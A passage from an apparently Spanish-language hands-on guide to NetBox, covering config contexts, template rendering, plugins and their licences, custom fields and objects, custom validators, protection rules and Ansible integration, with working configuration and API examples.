[\u0026#34;10.20.10.99\u0026#34;], \u0026#34;note\u0026#34;: \u0026#34;this box logs somewhere else\u0026#34;} y su context renderizado pasó a ser:\n{ \u0026#34;note\u0026#34;: \u0026#34;this box logs somewhere else\u0026#34;, \u0026#34;domain\u0026#34;: \u0026#34;mcr1.example.net\u0026#34;, \u0026#34;ntp_servers\u0026#34;: [\u0026#34;172.16.10.22\u0026#34;, \u0026#34;172.16.10.33\u0026#34;], \u0026#34;snmp_community\u0026#34;: \u0026#34;n0rthwest\u0026#34;, \u0026#34;syslog_servers\u0026#34;: [\u0026#34;10.20.10.99\u0026#34;] } El servidor syslog local venció tanto a la sobrescritura del emplazamiento con peso 2000 como a la región con peso 1000. Todo aquello sobre lo que no dijo nada se heredó igualmente, así que el dominio, los servidores NTP y la comunidad pasaron intactos, y la clave nueva simplemente se añadió.\nEsa es la salida de emergencia para la única caja que de verdad es distinta, y el panel te dice claramente que sobrescribe todos los source contexts. Si te pillas usándolo en muchos equipos en lugar de en uno, has encontrado una característica que esos equipos comparten y lo que querías era un context delimitado a ella.\nTres trampas Un context sin delimitar es global. Crea uno y olvida asignarlo a algo, y se aplica a cada equipo y cada máquina virtual que tengas. Es comportamiento documentado y a veces lo que quieres. También es silencioso.\nLas claves no pueden llevar guiones si quieres alcanzarlas de forma sencilla. Los datos de context son JSON, así que ntp-servers es perfectamente legal, pero los nombres de variable de Jinja no son claves JSON. {{ ntp-servers }} se interpreta como una resta y lanza UndefinedError: 'ntp' is undefined. Escribe {{ ntp_servers }} contra datos con guiones y obtienes una cadena vacía, un HTTP 200, y ningún aviso en ninguna parte. Usa guiones bajos en las claves y la plantilla evidente funciona.\nUn perfil puede detener las erratas. Un perfil de config context agrupa contexts relacionados e impone un esquema JSON sobre sus datos al guardar. Le di a uno un esquema que exigía syslog_servers como array de cadenas IPv4, y luego cometí los dos errores que la gente comete de verdad:\n{\u0026#34;syslog-server\u0026#34;: [\u0026#34;10.1.1.1\u0026#34;]} singular, by accident 400 Data does not conform to profile schema: \u0026#39;syslog-servers\u0026#39; is a required property {\u0026#34;syslog_servers\u0026#34;: [...], \u0026#34;syslog_port\u0026#34;: 99999} 400 Data does not conform to profile schema: 99999 is greater than the maximum of 65535 Rechazados donde alguien los cometió, en lugar de cuatrocientos equipos más tarde.\nRenderizar la configuración Los datos de context más una plantilla Jinja te dan un fichero de configuración. El equipo está en ámbito como device, su context fusionado está en ámbito como variables ordinarias, y puedes recorrer sus componentes.\nTodo lo de esa página vino de un sitio distinto, y eso es lo importante:\nLínea De dónde vino host-name mcr1-core-01 del equipo domain-name mcr1.example.net del config context regional location \u0026quot;Manchester DC1 / MCR1-A07 / U39\u0026quot; del emplazamiento, el rack y la posición en él server 172.16.10.22 del context regional, peso 1000 host 10.20.10.99 any notice del propio context local del equipo, venciendo al emplazamiento y a la región family inet address 10.20.10.11/24 de la dirección en esa interfaz, con su máscara tal como se escribió La plantilla se resuelve por equipo, luego rol, luego platform, y la petición falla si ninguno de los tres tiene una. Así que asignas una plantilla a una platform una vez, y cada equipo que ejecute ese software renderiza desde ella salvo que su rol o el propio equipo digan otra cosa. Para eso sirve una platform: el sistema operativo o la familia de software del fabricante, no el hardware.\nNetBox renderiza. No empuja. Llevar la salida a la caja es trabajo de tu automatización, y el día en que un error de plantilla habría reconfigurado cuatrocientos equipos, te alegrarás de que sean dos sistemas distintos.\nPlugins Un plugin es una aplicación Django instalada junto a NetBox. Puede añadir modelos, añadir páginas, extender ambas API, inyectar contenido en plantillas existentes, añadir navegación, añadir colas de tareas en segundo plano y cargar más aplicaciones Django. Hay muy poco que no pueda hacer, porque por debajo es simplemente Django.\nInstalar uno son cuatro órdenes y un reinicio:\nsource /opt/netbox/venv/bin/activate pip install netbox-topology-views netbox-qrcode # add the package names to PLUGINS in configuration.py, then python3 manage.py migrate python3 manage.py collectstatic --no-input sudo systemctl restart netbox netbox-rq En la pila de contenedores los mismos paquetes van en plugin_requirements.txt y reconstruyes la imagen. En ambos casos, fija las versiones y comprueba primero la matriz de compatibilidad, porque un plugin que no se ha puesto al día con una versión de NetBox se negará a arrancar toda la aplicación en lugar de desactivarse él mismo.\nEl catálogo publicado enumera 31. Estos son los que merece la pena conocer, con la licencia bajo la que cada uno se entrega realmente:\nPlugin Qué hace Licencia DNS Zonas, registros y servidores de nombres como fuente de verdad MIT BGP Sesiones, comunidades y políticas de enrutamiento Apache 2.0 Topology Views Mapas gráficos de topología construidos desde tus cables Apache 2.0 Floorplan Mapas gráficos de emplazamientos y ubicaciones LGPL 3.0 QR Code Códigos en racks, equipos y cables, para etiquetas de activos Apache 2.0 ACLs Listas de acceso y reglas Apache 2.0 Prometheus SD Sirve a Prometheus su lista de hosts directamente desde NetBox MIT Documents Documentos adjuntos a circuitos y equipos Apache 2.0 Lifecycle Fin de vida del hardware, licencias y contratos Apache 2.0 Contract Contratos y facturas MIT Reorder Rack Arrastrar y soltar unidades de rack Apache 2.0 Branching Ramas aisladas y fusionables de tus datos NetBox Limited Use Custom Objects Nuevos tipos de objeto, definidos en la interfaz NetBox Limited Use Prometheus SD es la forma honesta de toda la idea. NetBox sabe qué existe, así que deja que NetBox se lo diga al sistema de supervisión, y deja de mantener una segunda lista de hosts que se desvía.\nUna cosa que saber antes de construir sobre las dos últimas filas. NetBox en sí es Apache 2.0 y lo es desde que DigitalOcean lo publicó en 2016, y el proyecto está hoy a cargo de NetBox Labs junto a un equipo de mantenedores voluntarios.21 NetBox Branching y NetBox Custom Objects no lo son: se entregan bajo la NetBox Limited Use License 1.0, que concede el uso «only as part of a NetBox installation obtained from NetBox Labs or a NetBox distributor authorized by NetBox Labs, and only for your own internal use», y que no concede el derecho a usar el software «to provide a managed service or software products that includes, integrates with, or extends NetBox in a way that competes with any product or service of NetBox Labs». Si instalaste NetBox Community desde GitHub y lo operas en nombre de clientes, lee los términos tú mismo antes de poner un esquema detrás de ellos.10 La propia guía de instalación de NetBox recomienda ambos plugins sin mencionarlo.11\nCustom fields Un custom field añade un atributo a un modelo existente. Los valores se almacenan como JSON junto a cada objeto, así que no hay migración ni reinicio, y hay trece tipos incluidas referencias de objeto y multiobjeto a otros registros de NetBox.\nDos campos ahí, agrupados bajo un encabezado «Asset» que elegí yo. Fíjate en el panel Dimensions a su derecha: 9,5 kg, que nadie escribió en este equipo. Vinieron del tipo de equipo.\nLos custom fields se validan, y merece saberse que lo hacen, porque es una diferencia real con la vía de más abajo. Le di al campo de contrato una expresión regular y la API la impuso:\nPATCH {\u0026#34;custom_fields\u0026#34;: {\u0026#34;support_contract\u0026#34;: \u0026#34;nonsense\u0026#34;}} {\u0026#34;__all__\u0026#34;: [\u0026#34;Invalid value for custom field \u0026#39;support_contract\u0026#39;: Value must match regex \u0026#39;^[A-Z]{2,4}-[0-9]{6}$\u0026#39;\u0026#34;]} Dos cosas cambiaron en 4.7 que importan a escala. Crear un campo con un valor por defecto, o borrar un campo, tiene que reescribir los datos almacenados de cada objeto al que se aplica, así que en una tabla grande ese trabajo se entrega a una tarea en segundo plano y el campo informa «provisioning» o «deleting» mientras se ejecuta. Un campo está vivo solo mientras está activo: durante cualquiera de esas operaciones no aparece en los objetos, ni en formularios, ni en filtros, ni en ninguna de las dos API. Eso necesita un worker en marcha, o se queda en ese estado indefinidamente.\nUsa un custom field cuando añades un hecho sobre la cosa en sí. Usa un config context cuando el valor deba caer en cascada. Usa la sección siguiente cuando la cosa que necesitas no existe.\nMenús de selección propios, y sobrescribir lo que viene de fábrica Dos mecanismos distintos viven bajo este encabezado y resuelven problemas distintos. Uno es para tus propios campos. El otro reescribe los de NetBox.\nUn choice set, para tu propio campo de selección Un custom field de tipo «selection» saca sus opciones de un choice set, un objeto que gestionas en la interfaz como cualquier otro. Así «support tier» pasa a ser un desplegable real en lugar de texto libre que alguien escribirá de tres formas.\nSe impone, incluso a través de la API:\nPATCH {\u0026#34;custom_fields\u0026#34;: {\u0026#34;support_tier\u0026#34;: \u0026#34;platinum\u0026#34;}} {\u0026#34;__all__\u0026#34;: [\u0026#34;Invalid value for custom field \u0026#39;support_tier\u0026#39;: Invalid choice (platinum) for choice set Support tier.\u0026#34;]} Los choice sets se comparten, así que un solo conjunto puede respaldar el mismo campo en varios modelos, y cambiar la lista en un sitio la cambia en todos.\nFIELD_CHOICES, para los campos propios de NetBox Este es el que la gente no sabe que existe. Varios de los campos de selección integrados de NetBox pueden extenderse o reemplazarse desde configuration.py, entre ellos el estado de equipo, el estado de emplazamiento, el estado de rack, el estado de circuito y bastantes más.12\nAñade un signo más para sumar a lo que viene de fábrica. Omítelo para reemplazar la lista por completo.\nFIELD_CHOICES = { # add to what NetBox ships with \u0026#39;dcim.Device.status+\u0026#39;: ( (\u0026#39;burn-in\u0026#39;, \u0026#39;Burn-in\u0026#39;, \u0026#39;cyan\u0026#39;), {\u0026#39;value\u0026#39;: \u0026#39;awaiting-rma\u0026#39;, \u0026#39;label\u0026#39;: \u0026#39;Awaiting RMA\u0026#39;, \u0026#39;color\u0026#39;: \u0026#39;orange\u0026#39;, \u0026#39;description\u0026#39;: \u0026#39;Faulty, with the vendor\u0026#39;}, ), # replace the stock list outright \u0026#39;dcim.Site.status\u0026#39;: ( (\u0026#39;surveyed\u0026#39;, \u0026#39;Surveyed\u0026#39;, \u0026#39;purple\u0026#39;), (\u0026#39;building\u0026#39;, \u0026#39;Building out\u0026#39;, \u0026#39;orange\u0026#39;), (\u0026#39;active\u0026#39;, \u0026#39;Active\u0026#39;, \u0026#39;green\u0026#39;), (\u0026#39;closing\u0026#39;, \u0026#39;Closing\u0026#39;, \u0026#39;red\u0026#39;), ), } Puse exactamente eso en esta instancia. El estado de equipo volvió con los siete valores de fábrica y mis dos:\noffline, active, planned, staged, failed, inventory, decommissioning, burn-in, awaiting-rma y el estado de emplazamiento volvió solo con los míos, la lista de fábrica desaparecida:\nsurveyed, building, active, closing Una opción puede ser una tupla simple de valor, etiqueta y color, o un diccionario que además acepta una descripción mostrada como subtítulo en el formulario. Y se comportan como valores nativos en todas partes, porque para el resto de NetBox son valores nativos:\nEsa insignia es mi estado, en mi color, que ordena y filtra como cualquier otro.\nTres cosas que conviene saber antes de usarlo.\nReemplazar borra los valores de fábrica del menú, no de la base de datos. Cualquier objeto que ya tenga uno de ellos lo conserva, pero el valor ya no se ofrece y no será una opción válida la próxima vez que alguien edite ese objeto. Si reemplazas una lista, comprueba que no haya nada apoyado en un valor que acabas de retirar.\nVive en el fichero de configuración, así que necesita un reinicio y no es algo que un usuario de la interfaz pueda cambiar. Para un proveedor ese es el sentido correcto: el conjunto de estados que tu negocio reconoce es una decisión de gobierno, no una de un martes por la tarde.\nExtiende antes de reemplazar. Los valores de fábrica son lo que cada plugin, script e integración espera ver. Añadir no cuesta nada. Reemplazar es una decisión que te pertenece para siempre.\nCustom objects Aquí hay un hueco real. NetBox modela clústeres, máquinas virtuales y discos virtuales. No modela el datastore en el que esos discos viven realmente, y para cualquiera que opere Proxmox o VMware ese es el objeto que conecta el almacenamiento que compraste con la carga que lo usa.\nEl plugin Custom Objects te deja definir un nuevo tipo de objeto desde la interfaz o la API, sin escribir código. Así que:\nSiete campos, dos de los cuales son todo el objetivo. cluster es una referencia de objeto único a un clúster real de NetBox, puesta en protect para que nadie pueda borrar un clúster por debajo de su almacenamiento. provisioned_by es una referencia multiobjeto a los equipos que realmente lo sirven.\nEso te da un objeto de primera clase con su propia entrada de navegación, vista de lista, filtros, importación y exportación:\nY como las referencias son reales, la relación aparece también desde el otro extremo. Abre el clúster y los datastores salen listados contra él.\nUn custom object type hereda casi todo lo que hace que un objeto de NetBox sea un objeto de NetBox: vistas de lista y de detalle, una entrada de navegación, endpoints REST, búsqueda de texto completo, registro de cambios, diario, etiquetas, marcadores, importación y exportación, event rules y notificaciones. Nada de eso hubo que escribirlo.\nTampoco es un blob JSON haciéndose pasar por una tabla. El plugin emite DDL real, y lo que aparece en PostgreSQL es una tabla real con restricciones reales:\nTable \u0026#34;public.custom_objects_2\u0026#34; Column | Type | Nullable | Default -----------------+----------+----------+------------------ id | bigint | not null | identity name | varchar | | cluster_id | bigint | | backing | varchar | | capacity_gb | bigint | | thin_provisioned| boolean | | Indexes: \u0026#34;custom_objects_2_name_key\u0026#34; UNIQUE CONSTRAINT, btree (name) Foreign-key constraints: ... FOREIGN KEY (cluster_id) REFERENCES virtualization_cluster(id) ON DELETE RESTRICT El protect que pedí se convirtió en ON DELETE RESTRICT, y funciona: borrar ese clúster vuelve con un 409 nombrando lo que depende de él.\nDos cosas que saber antes de confiar en ello La validación está en el formulario, no en la API. Esta es la que pillaría a una automatización. Declaré required, una expresión regular y límites numéricos en los campos de un custom object type, y luego escribí sobre ellos a través de la API REST:\nLo que declaré Lo que envié Resultado validation_regex un valor que no encaja con nada 201 Created required: true el campo omitido por completo 201 Created validation_minimum: 1 un número negativo 201 Created unique: true un duplicado 400, rechazado on_delete_behavior: protect borrar el objeto referenciado 409, rechazado Las dos que aguantaron son las dos que se convirtieron en restricciones de base de datos. El resto existe solo en el formulario web, así que una persona que teclea queda restringida y una sincronización nocturna no. Compáralo con el custom field del núcleo de más arriba, donde la misma expresión regular se imponía a través de la API. Hasta que eso cambie, pon cualquier cosa de la que dependa una factura detrás de una restricción real.\nBorrar un tipo elimina una tabla. Borrar un campo elimina una columna. Eso es DDL desde un formulario web, ejecutado por quien tenga el permiso, y la documentación lo dice tal cual.13 Restringe quién puede borrarlos.\nCuándo escribir un plugin de verdad en su lugar Si el objeto importa, si la automatización escribe en él, y si te molestaría encontrar basura dentro, escribe el modelo tú mismo. Un plugin mínimo de NetBox es un PluginConfig, un modelo, un serializer, un viewset, una tabla, un formulario, unas pocas vistas y un mapa de URL, y sale por debajo de doscientas líneas mayoritariamente declarativas. Heredar de PrimaryModel te da gratis etiquetas, custom fields, registro de cambios, diario, plantillas de exportación y propiedad, y cada restricción que pongas en el modelo se impone en todas partes, porque la propia maquinaria de serializers de NetBox la ejecuta.\nHay una plantilla cookiecutter y un tutorial de plugin completo mantenidos por la comunidad. Empieza por ahí en lugar de por un directorio vacío.\nY lleva la licencia que tú elijas, lo que nadie puede cambiar después.\nValidación personalizada y clases de validación Todo lo anterior trata de registrar lo que hay. Esto trata de negarse a registrar lo que no debería estar.\nNetBox valida cada objeto antes de escribirlo, y puedes añadir reglas propias encima. Hay tres mecanismos, todos viven en configuration.py, y entre ellos cubren casi todo lo que necesita un estándar de la casa.\nUno: reglas simples, sin código Un validador puede ser una simple correspondencia entre nombres de campo y condiciones. Nada de Python, y es portátil entre instalaciones porque son solo datos.\nCUSTOM_VALIDATORS = { \u0026#39;dcim.site\u0026#39;: ( {\u0026#39;description\u0026#39;: {\u0026#39;required\u0026#39;: True}}, ), \u0026#39;dcim.device\u0026#39;: ( {\u0026#39;name\u0026#39;: {\u0026#39;regex\u0026#39;: r\u0026#39;^[a-z0-9]+-[a-z]+-([0-9]{2}|[a-z])$\u0026#39;}}, ), } Las condiciones disponibles son min, max, min_length, max_length, regex, required, prohibited, eq y neq. Puedes alcanzar un objeto relacionado con una ruta por puntos, así que region.name en un emplazamiento vale, y puedes comparar con request.user.username aunque la documentación te diga, con toda razón, que para eso uses permisos.\nAmbas reglas se disparan de inmediato:\nPOST a site with no description {\u0026#34;__all__\u0026#34;: [\u0026#34;Custom validation failed for description: [\u0026#39;This field must not be empty.\u0026#39;]\u0026#34;]} POST a device named \u0026#34;Server1\u0026#34; {\u0026#34;__all__\u0026#34;: [\u0026#34;Custom validation failed for name: [\u0026#39;Enter a valid value.\u0026#39;]\u0026#34;]} Esa segunda es un estándar de nomenclatura, impuesto. No escrito en una página de wiki, no en la cabeza de alguien, no algo por lo que al nuevo le llamen la atención en una revisión tres semanas después. La base de datos no lo acepta.\nDos: una clase de validador, cuando la regla es una frase Las reglas simples comprueban un campo contra una constante. Las reglas de la casa reales suelen ser condicionales: esto solo importa cuando aquello. Para esas heredas de CustomValidator, sobrescribes validate() y llamas a fail().\nPuse tres en un módulo en /opt/netbox/netbox/house_rules.py:\nfrom extras.validators import CustomValidator class BillableKitNamesItsCustomer(CustomValidator): \u0026#34;\u0026#34;\u0026#34;Anything in a role we sell has to say whose it is.\u0026#34;\u0026#34;\u0026#34; BILLABLE_ROLES = {\u0026#39;hypervisor\u0026#39;} def validate(self, instance, request): role = getattr(instance, \u0026#39;role\u0026#39;, None) if role and role.slug in self.BILLABLE_ROLES and not instance.tenant: self.fail( f\u0026#34;A {role} is billable kit, so it must name the customer it belongs to.\u0026#34;, field=\u0026#39;tenant\u0026#39;, ) class RackedDeviceNeedsAPosition(CustomValidator): \u0026#34;\u0026#34;\u0026#34;A device in a rack with no rack unit is a device nobody can find.\u0026#34;\u0026#34;\u0026#34; def validate(self, instance, request): if instance.rack and instance.position is None: if instance.device_type and instance.device_type.u_height: self.fail( \u0026#34;A device in a rack needs a rack unit. Somebody has to find it.\u0026#34;, field=\u0026#39;position\u0026#39;, ) y las conecté por ruta de puntos:\nCUSTOM_VALIDATORS = { \u0026#39;dcim.device\u0026#39;: ( {\u0026#39;name\u0026#39;: {\u0026#39;regex\u0026#39;: r\u0026#39;^[a-z0-9]+-[a-z]+-([0-9]{2}|[a-z])$\u0026#39;}}, \u0026#39;house_rules.BillableKitNamesItsCustomer\u0026#39;, \u0026#39;house_rules.RackedDeviceNeedsAPosition\u0026#39;, ), \u0026#39;ipam.prefix\u0026#39;: ( \u0026#39;house_rules.CustomerPrefixNeedsATenant\u0026#39;, ), } Fíjate en que un modelo toma una tupla de validadores, mezclando libremente reglas simples y clases, y todos se ejecutan. Incluso un validador único hay que pasarlo como iterable, y eso son cinco minutos fáciles de perder.\nLuego las reglas hacen lo que dicen:\nPOST a hypervisor with no tenant {\u0026#34;tenant\u0026#34;: [\u0026#34;A Hypervisor is billable kit, so it must name the customer it belongs to.\u0026#34;]} POST a device into a rack with no position {\u0026#34;position\u0026#34;: [\u0026#34;A device in a rack needs a rack unit. Somebody has to find it.\u0026#34;]} POST a prefix with role \u0026#34;customer\u0026#34; and no tenant {\u0026#34;tenant\u0026#34;: [\u0026#34;A customer prefix must be assigned to a tenant.\u0026#34;]} POST a leaf switch with no tenant accepted, because a leaf switch is not in BILLABLE_ROLES Como fail() toma un field, el mensaje aterriza en la casilla correcta del formulario en lugar de en lo alto de la página, y esa es la diferencia entre una regla que la gente aprende y una regla que la gente toma a mal.\nEsa es también la respuesta al hueco de la sección de custom objects. La validación de allí existía solo en el formulario web. Un CustomValidator se ejecuta en la capa de modelo, así que se aplica a la interfaz, a la API REST, a las mutaciones GraphQL, a las importaciones en lote y a cualquier cosa que haga un script. Hay un solo sitio donde escribir la regla y ninguna forma de rodearla.\nTres: protection rules, para el borrado CUSTOM_VALIDATORS vigila las escrituras. PROTECTION_RULES vigila los borrados, y toma exactamente las mismas dos formas.\nPROTECTION_RULES = { \u0026#39;dcim.device\u0026#39;: ( {\u0026#39;status\u0026#39;: {\u0026#39;eq\u0026#39;: \u0026#39;offline\u0026#39;}}, ), } Eso dice que un equipo solo puede borrarse cuando está offline. Lo cual produce:\nDELETE an active device {\u0026#34;detail\u0026#34;: \u0026#34;Deletion is prevented by a protection rule: [\\\u0026#34;Custom validation failed for status: [\u0026#39;Ensure this value is equal to offline.\u0026#39;]\\\u0026#34;]\u0026#34;} set it to offline, then DELETE 204 No Content Dos pulsaciones de fricción entre alguien y un equipo en servicio, y es el seguro más barato de toda la aplicación. Haz que el proceso de retirada sea lo que desbloquea el botón de borrar.\nLa que te va a pillar Los datos existentes no se comprueban hasta que vuelves a tocarlos. Añadir una regla no vuelve atrás a validar lo que ya está ahí. Se queda quieta hasta que alguien guarda un objeto que la incumple, y entonces esa persona recibe un error sobre una decisión con la que no tuvo nada que ver.\nLo vi ocurrir. mcr1-hv-06 se creó antes de que yo escribiera nada de esto, como hipervisor sin tenant. Ahí estaba, tan tranquilo. Luego edité su descripción:\nPATCH {\u0026#34;description\u0026#34;: \u0026#34;touching it to trigger revalidation\u0026#34;} {\u0026#34;tenant\u0026#34;: [\u0026#34;A Hypervisor is billable kit, so it must name the customer it belongs to.\u0026#34;]} La edición no tenía nada que ver con el tenant. La regla se disparó igualmente, porque la validación corre sobre el objeto entero.\nEse es el comportamiento correcto y es también cómo una regla nueva se convierte en un ticket de soporte. Antes de activar una, consulta los objetos que fallarían y arréglalos primero. La API lo pone fácil: la regla es un filtro, así que pide los equipos con ese rol y sin tenant, y ya tienes tu lista.\nActiva la regla después. Entonces solo pilla errores nuevos, que es para lo que está.\nPilotarlo desde Ansible Una fuente de verdad que nadie lee se pudre. La colección netbox.netbox es como la mayoría evita que eso pase, y funciona en ambos sentidos: NetBox le dice a Ansible qué existe, y Ansible le dice a NetBox qué ha construido.\nVa por la versión 3.23.0, con licencia GPL-3.0, y se ha descargado de Galaxy más de 13,4 millones de veces. Lleva 91 módulos y un plugin de inventario.14 Todo lo que sigue se ejecutó contra esa misma instancia, desde un contenedor sin nada más dentro que ansible-core 2.21.4, pynetbox 7.8.0 y la colección.\nEl inventario es una consulta, no un fichero Esta es la mitad que se amortiza la primera tarde. nb_inventory construye tu inventario de Ansible directamente desde NetBox:\nplugin: netbox.netbox.nb_inventory api_endpoint: http://netbox:8080 token: \u0026#34;{{ lookup(\u0026#39;env\u0026#39;, \u0026#39;NETBOX_TOKEN\u0026#39;) }}\u0026#34; config_context: false group_by: - sites - device_roles - tenants - racks device_query_filters: - has_primary_ip: true Eso produce esto, sin que nadie mantenga una lista de hosts:\n@sites_manchester-dc1: @device_roles_hypervisor: |--mcr1-core-01 |--mcr1-hv-01 |--mcr1-core-02 |--mcr1-hv-02 |--mcr1-hv-01 |--mcr1-hv-03 |--mcr1-hv-02 |--mcr1-hv-04 ... |--mcr1-hv-05 @racks_MCR1-A07: @tenants_ravenscroft-legal: |--mcr1-core-01 |--mcr1-hv-01 |--mcr1-core-02 |--mcr1-hv-02 ... @tenants_padgate-foods: @device_roles_core-router: |--mcr1-hv-03 |--mcr1-core-01 |--mcr1-hv-04 |--mcr1-core-02 @tenants_hartley-components: |--mcr1-hv-05 Mira la columna de la derecha. Como los tenants están puestos en los equipos, obtienes un grupo por cliente gratis, así que --limit tenants_ravenscroft-legal ejecuta una play contra exactamente el equipo de un solo cliente. Añade un equipo en NetBox y está en el grupo en la siguiente ejecución. Retira uno y desaparece. Nadie edita nada.\nCada host llega cargando lo que NetBox sabe de él:\nansible_host \u0026#34;2001:db8:20:20::11\u0026#34; primary_ip4 \u0026#34;10.20.20.11\u0026#34; primary_ip6 \u0026#34;2001:db8:20:20::11\u0026#34; device_roles [\u0026#34;hypervisor\u0026#34;] sites [\u0026#34;manchester-dc1\u0026#34;] racks [\u0026#34;MCR1-A07\u0026#34;] tenants [\u0026#34;ravenscroft-legal\u0026#34;] device_types [\u0026#34;sys-1029u-tn10rt\u0026#34;] manufacturers [\u0026#34;supermicro\u0026#34;] status {\u0026#34;label\u0026#34;: \u0026#34;Active\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;active\u0026#34;} Veintidós claves en total, y una de ellas merece notarse antes de que te sorprenda. ansible_host es la dirección IPv6, porque ese equipo tiene una primaria v6 puesta. Lo comprobé contra otros dos que solo tienen v4 y volvieron en v4, así que la regla es que el plugin prefiere v6 donde existe una primaria v6. Lo cual es correcto, y es también de esas cosas que prefieres descubrir ahora y no mientras te preguntas por qué una play conecta por un camino en el que no habías pensado.\nEscribir de vuelta Los módulos son el otro sentido, y el que merece tener es la asignación de IP, porque NetBox sabe qué está libre y tu playbook no.\n- name: Rack the device netbox.netbox.netbox_device: netbox_url: \u0026#34;{{ nb_url }}\u0026#34; netbox_token: \u0026#34;{{ nb_token }}\u0026#34; data: name: mcr1-hv-07 device_type: SYS-1029U-TN10RT device_role: Hypervisor site: Manchester DC1 rack: MCR1-A07 position: 14 face: Front tenant: Hartley Components state: present - name: Let NetBox pick the next free address out of the customer prefix netbox.netbox.netbox_ip_address: netbox_url: \u0026#34;{{ nb_url }}\u0026#34; netbox_token: \u0026#34;{{ nb_token }}\u0026#34; data: prefix: 10.20.22.0/24 tenant: Hartley Components assigned_object: device: mcr1-hv-07 name: eno1 state: new Fíjate en lo que no hay ahí. Ninguna dirección IP. Nombras el prefijo y NetBox te devuelve la siguiente libre:\nTASK [Let NetBox pick the next free address out of the customer prefix] **** changed: [localhost] \u0026#34;device : mcr1-hv-07 (created)\u0026#34; \u0026#34;interface: eno1 (created)\u0026#34; \u0026#34;address : 10.20.22.1/24 (allocated)\u0026#34; Y está en la interfaz un segundo después, todavía sin cablear a nada pero enracado, con tenant y direccionado:\nLa trampa de ese playbook Ejecútalo una segunda vez sin cambiar una línea y pasa esto:\n\u0026#34;device : mcr1-hv-07 (already correct)\u0026#34; \u0026#34;interface: eno1 (already correct)\u0026#34; \u0026#34;address : 10.20.22.2/24 (allocated)\u0026#34; El equipo y la interfaz son idempotentes. La dirección no, y no es un error. state: present significa «haz que quede así». state: new significa «dame una nueva», todas y cada una de las veces, y eso es exactamente lo que hizo: dos direcciones en una interfaz tras dos ejecuciones.\nEso está bien cuando de verdad estás aprovisionando algo nuevo, y se comerá un prefijo en silencio si lo metes en una tarea que corre cada noche. Asigna una vez y registra el resultado, o usa state: present con la dirección que ya tienes. El módulo hace lo que le pediste. La cuestión es si pediste lo que querías decir.\nNo es solo Ansible La colección se lleva la atención porque Ansible es donde ya está la mayoría de los equipos de red, pero la API es el producto y bastantes cosas la hablan.\nCosa Qué es Licencia pynetbox El cliente Python que usa la propia colección Apache 2.0 terraform-provider-netbox Gestionar objetos de NetBox como recursos de Terraform, mantenido activamente por e-breuninger MPL 2.0 nornir_netbox NetBox como inventario de Nornir, para quien hace Python en vez de YAML Apache 2.0 Prometheus SD Sirve a Prometheus sus objetivos de scrape desde NetBox MIT go-netbox Un cliente Go, aunque no se ha tocado desde mayo de 2025 ver repositorio Diode La propia tubería de ingesta de NetBox Labs para empujar datos descubiertos NetBox Limited Use La entrada de Terraform es la interesante para quien ya gestione infraestructura así, porque permite que un solo plan cree el recurso en la nube y el registro de NetBox que lo documenta, en lugar de dejar la segunda mitad a la memoria de alguien.15\nDiode lleva la misma licencia que Branching y Custom Objects, así que aplica la misma lectura antes de construir sobre él.\nLo que esa tarde compra de verdad Todo lo anterior me llevó un día en una sola máquina, y la mayor parte de ese día se fue en sembrar datos para que las pantallas tuvieran algo dentro. La instalación son veinte minutos por cualquiera de las dos vías. Las decisiones son la parte que importa y todas se toman en la primera hora: los tenants antes que nada, los tipos de equipo antes que los equipos, los números en los tipos y no en el equipo.\nLo que obtienes a cambio no es documentación. Esa distinción no la hace nadie hasta que ha tenido ambas: la documentación es algo que escribes y luego dejas de mantener. Lo que obtienes es una base de datos que se niega a contener una contradicción: no te dejará poner dos cosas en una misma unidad de rack, ni un rack en una ubicación que pertenece a otro emplazamiento, ni un equipo sobre un tipo que no existe. Cada uno de esos rechazos es una discusión que no vas a tener dentro de seis meses.\nY te dirá cosas que nadie le preguntó. Ese armario está lleno al 28,6 % de equipo y al 90,7 % de electricidad. Nadie se puso a buscar eso. Cayó de poner una potencia una vez en un tipo de equipo, y es la diferencia entre enracar el próximo pedido ahí y descubrirlo por las malas.\nLa reserva honesta es la misma que tiene toda fuente de verdad. Solo vale lo que te cuesta mantenerla correcta, y la única versión de esto que sobrevive a un trimestre ajetreado es aquella en la que algo se rompe de forma visible cuando los datos están mal. Conecta tu supervisión, tu aprovisionamiento o tus reglas de cortafuegos para que lean de ella, y una entrada equivocada deja de ser un problema de documentación que alguien atenderá algún día. Pasa a ser una caída a las nueve y media de un martes, con un nombre puesto. Eso suena a coste. Es todo el mecanismo.\nTampoco nadie te lo va a agradecer. Un registro correcto se manifiesta como la migración que llevó quince días en lugar de un trimestre, la auditoría que llevó una tarde, el cliente que obtuvo una respuesta directa por teléfono. Nada de eso aparece en un informe junto a tu nombre.\nHazlo igualmente. La alternativa es un negocio incapaz de describirse, y un negocio incapaz de describirse no se está dirigiendo. Se está recordando, por cada año menos gente.\nNetBox, Introduction — «Today, the open source project is stewarded by NetBox Labs and a team of volunteer maintainers», y el origen en DigitalOcean en 2015, liberado como open source en junio de 2016.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox, LICENSE.txt — Apache License 2.0, copyright DigitalOcean, LLC. Origen y custodia desde la introducción.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNotas de la versión v1.0.0 de Nautobot — «a divergent fork of NetBox 2.10», publicada el 26 de abril de 2021, y la lista de lo que añadió respecto a NetBox 2.10.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetwork to Code, «Why Did Network to Code Fork NetBox?», 25 de febrero de 2021 — el razonamiento sobre los SLA y el soporte a largo plazo, la divergencia de visión, y «the NetBox project team suggested that we should consider forking».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox Labs se fundó en 2023 como escisión de NS1 tras su adquisición por IBM, cofundada por el mantenedor principal de NetBox, Jeremy Stretch, y anunció una Serie A de 20 millones de dólares en abril de 2023: NetBox Labs, «Let\u0026rsquo;s Go: Announcing NetBox Labs» y el anuncio de la Serie A.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNetBox Labs, NetBox Enterprise — la edición comercial autogestionada, con «24/7 expert assistance from the NetBox Labs team»; NetBox Cloud es la oferta alojada. Los términos concretos de 